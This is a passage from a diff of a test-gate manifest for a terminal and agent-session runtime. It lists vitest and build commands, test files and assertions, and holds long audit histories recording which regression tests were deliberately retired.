\"src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-process-cadence.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-completion-and-notification.test.ts\",\n \"src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts\",\n \"src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\n \"src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts\",\n \"tests/e2e/remote-agent-session-focus-authority.spec.ts\",\n \"config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs\",\n \"config/scripts/development/remote-session-cleanup/remote-agent-session-process-cleanup.mjs\"\n ]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/remote-agent-completion-authority.unit.test.ts\",\n \"assertions\": [\n \"transport loss remains unknown through reconnect and cannot dispatch completion\",\n \"returned unavailability or a thrown transport failure interrupts consecutive-idle proof and requires two fresh authoritative idle samples\",\n \"explicit stop, real exit status, and genuine successful completion remain distinct\"\n ]\n },\n {\n \"file\": \"src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts\",\n \"assertions\": [\n \"does not let a late liveness result adopt a released generation\",\n \"does not let reconciliation erase an in-flight reservation\"\n ]\n },\n\n {\n \"file\": \"src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts\",\n \"assertions\": [\n \"an exact PTY exit retires host membership and stale topology cannot recreate the surface\",\n \"incarnation fencing prevents an old delayed exit from retiring a replacement PTY\"\n ]\n },\n {\n \"file\": \"tests/e2e/remote-agent-session-focus-authority.spec.ts\",\n \"assertions\": [\n \"headed desktop host remains unfocused while the paired requester alone follows active fresh/resume sessions and inactive rows preserve exact client/DOM focus\",\n \"legacy afterTabId placement is exact in authoritative, mirrored, and rendered order with a pre-existing successor\",\n \"host PTY inventory plus writable agent/unrelated shell markers prove liveness, unrelated survival, and exact terminal/tab/PTY/process cleanup\"\n ]\n },\n {\n \"file\": \"config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs\",\n \"assertions\": [\n \"headless focused fresh/resume requests create background host surfaces without a renderer window\",\n \"dropped committed responses replay the same operation identity without another tokened agent spawn\",\n \"exact terminal/tab/process identity survives retries and stale-write rejection, then retires without restart resurrection while unrelated shells survive until scoped cleanup\"\n ]\n },\n {\n \"file\": \"config/scripts/development/remote-session-cleanup/remote-agent-session-process-cleanup.mjs\",\n \"assertions\": [\n \"isolated daemon roots and captured descendants are verified dead before profile PID records are removed\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts\",\"pnpm run build:cli && pnpm run build:electron-vite && node config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs\",\"node --check config/scripts/development/remote-session-cleanup/remote-agent-session-process-cleanup.mjs && node config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs\",\"pnpm exec electron-vite build --mode e2e\",\"VITE_EXPOSE_STORE=true pnpm run build:web\",\"Manual headed paired-server journey: isolated Orca desktop host + separate paired web client + real Codex process + 20-second WebSocket fault + reconnect + explicit stop\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts --maxWorkers=1\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/construction/orca-runtime.test.ts tests/e2e/agents/remote-sessions/remote-agent-completion-authority.unit.test.ts src/renderer/src/runtime/hosted-terminals/inspection/runtime-terminal-inspection.test.ts src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-process-cadence.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/agents/remote-sessions/remote-agent-completion-authority.unit.test.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/renderer/src/runtime/hosted-terminals/inspection/runtime-terminal-inspection.test.ts src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-process-cadence.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-completion-and-notification.test.ts\"],\"testFiles\":[\"src/main/daemon/terminal-host/testing/terminal-host.test.ts\",\"src/main/runtime/construction/orca-runtime.test.ts\",\"tests/e2e/agents/remote-sessions/remote-agent-completion-authority.unit.test.ts\",\"src/renderer/src/runtime/hosted-terminals/inspection/runtime-terminal-inspection.test.ts\",\"src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-process-cadence.test.ts\",\"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-completion-and-notification.test.ts\",\"src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts\",\"src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\"src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts\",\"config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs\",\"config/scripts/development/remote-session-cleanup/remote-agent-session-process-cleanup.mjs\"],\"assertionRefs\":[{\"file\":\"src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts\",\"assertions\":[\"does not let a late liveness result adopt a released generation\",\"does not let reconciliation erase an in-flight reservation\"]},{\"file\":\"src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts\",\"assertions\":[\"an exact PTY exit retires host membership and stale topology cannot recreate the surface\",\"incarnation fencing prevents an old delayed exit from retiring a replacement PTY\"]},{\"file\":\"config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs\",\"assertions\":[\"headless focused fresh/resume requests create background host surfaces without a renderer window\",\"dropped committed responses replay the same operation identity without another tokened agent spawn\",\"exact terminal/tab/process identity survives retries and stale-write rejection, then retires without restart resurrection while unrelated shells survive until scoped cleanup\"]},{\"file\":\"config/scripts/development/remote-session-cleanup/remote-agent-session-process-cleanup.mjs\",\"assertions\":[\"isolated daemon roots and captured descendants are verified dead before profile PID records are removed\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local\",\"daemon\",\"ssh\",\"wsl\",\"remote-runtime\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audits1301 and1308 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Issue #10192 has byte-identical renderer-oracle evidence: origin/main@ee87bb38d (and earlier ef985ed80 and 94d3db4a2) fails activated fresh and resume rows by requesting focused host presentation, the PR client change passes all four rows, and disabling it turns the activated rows red again. The original PR still fails an old-client focused request against a new headless host; host-boundary normalization turns that mixed-version control green while trusted local callers remain focused. Issue #9151 has local red/green evidence for completion authority. The exact retirement oracle is red on pre-#9687 commit 2a32c5c9a and PR #9053 head d3a1d3047, and green on main@4fce2de49. Saved CI artifacts are still needed.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audits1301 and1308; any retained unchanged-source receipts apply only to their own commands. Historical account: New experimental gate with deterministic local coverage and no soak history yet.\"},\"runtimeBudget\":{\"p95Seconds\":30,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Agent-session reconciliation runs only at explicit claim admission, dedupes concurrent provider listing, and adds no polling or renderer output work. Viewer focus reconciliation reuses the existing one post-create list and bounded intent map; same-version replay permits one already-received snapshot, and exact-leaf matching adds one conditional scan over the bounded tab snapshot. Completion inspection reuses the coordinator's per-pane in-flight guard, global concurrency/rate queue, and existing error backoff; the strict daemon path reduces two foreground RPCs to one. Create-operation ledgers are capped globally and per client, expire after 24 hours, and reject rather than evict live replay fences. Capability caches are bounded or connection-scoped, and exact handoffs are consumed by the next authoritative snapshot.\"}}" ], "demotionRule": "Keep experimental or demote if the focused gate flakes without a product or harness bug, if a retry can physically spawn twice, if a stale exit/publication can replace or resurrect a terminal, or if mixed-version fallback occurs after an authority side effect." }, @@ -7699,7 +6929,7 @@ "id": "terminal-performance.remote-hidden-retention-budget", "title": "Paired terminals park client renderers while host PTYs preserve bounded history", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-runtime", "layer": "paired-headed-and-headless-runtime", "surfaces": [ @@ -7717,305 +6947,34 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["paired-runtime", "ssh"], - "coveredPlatforms": ["macos"], + "coveredPlatforms": [], "coveredProviders": [], - "coverageNotes": "Audit7358 retires the entire local parked-memory suite. Intentionally lose disabled-parking mount retention, forced hidden-worktree eviction and last-active exemption, estimated cell release, renderer RSS and eviction-time alarms. The force-park fixture injected fake remote identities into local terminal state; it did not establish actual remote delivery or restoration. Remaining paired restoration selectors and dated receipts keep their original scope and are not equivalent replacements. No fresh gate execution is claimed. Historical prior account preserved verbatim: Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5879 retires the entire cold-parking hook suite and its stale exemption/park-set and unnecessary recomputation alarms. Remaining selectors are not equivalent replacement coverage; unchanged independent dated receipts retain their original scope and do not validate reduced commands. Historical prior account preserved verbatim: Audit5772 companion to audit5768: Retire the whole hidden-view parking policy suite. Direct oldest/cap/TTL/last-active worktree ranking and equal-hidden-time tab activation-order alarms are intentionally lost without equivalent replacement. Narrow one compound unit command and remove the parking testFiles entry. Physical parking/restoration/stream-budget selectors and assertions remain unchanged at their own exact scope; they are not certified as replacements. Complete dated evidenceRuns and unrelated selectors/assertions are unchanged; none selects these retired suites and none validates the narrowed command. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account preserved verbatim below as historical, including any older then-retained coverage claim: Audit5571 removes the entire unrelated-PTY mobile heartbeat callback suite and its active selectors; its bookkeeping alarm is intentionally lost without equivalent replacement or fresh runtime evidence. Fourteen unrelated dated receipts retain their exact original scopes. Historical account follows: Audit5534 removes the whole last-active retention TTL selector suite (one authored/finite case). Its absolute-TTL and inside-boundary alarm is intentionally lost without equivalent replacement or fresh execution. Active command/file selectors drop only that suite; historical receipts remain at their original scope. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. The decorative fanout suite retains only real OSC9999 ingestion through runtime/title heartbeat/viewer past the stale boundary, preserving stateStartedAt and clearing expired prompt metadata. Spinner volume/zero-work inventories, Pi/Grok frame tables, rich-status and foreground-reset examples are retired. Existing receipts for separate paired-terminal sources retain their original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3342 removes three supplied activation/inventory fallback and same-handle retry examples; their fallback/retry alarms are intentionally lost without equivalent replacement. The exact mounted-HUB pending old-stream-end versus replacement-snapshot registration and its assertion remain. Unrelated dated macOS receipts retain only their original scope; no fresh runtime, provider, performance, mobile, mixed-version or cross-platform validation is claimed. NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts, src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: restarts only the stream whose renderer delivery credit never settles — An unreturned renderer delivery credit stalls only its stream, leaving healthy sibling/shared transport alive. Fake-clock deadline plus real multiplexer unsubscribe isolates recovery ownership.; probes then restarts a stream when an entered command receives no frames — Entered command produces no output; actual multiplexer must probe then close only its stalled stream after probe timeout. Distinct response liveness from parser credit.; establishes a probe baseline before recovering an unsequenced stream — 142-line manual five-probe baseline/regression sequence derives request IDs from encoded mock traffic and checks repeated no-close/close choreography. Oversized algorithm/state-machine example; no actual renderer/host command or recovery delivery. Retires unsequenced/unchanged/regressed baseline classification alarms.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces remote-runtime-pty-transport-unpublished-host-graph.test.ts, retiring its direct published-empty-graph omission-to-pane-exit alarm. The unchanged bounded unpublished-frame/pushed-recovery and stale-handle park/manual-retry cases are narrower, not equivalent replacements. Both complete three-case Linux receipts dated 2026-11-04 are archived as historical, including source heads; they do not validate this reduced selector. Remaining fourteen active receipts are macOS only. No fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and 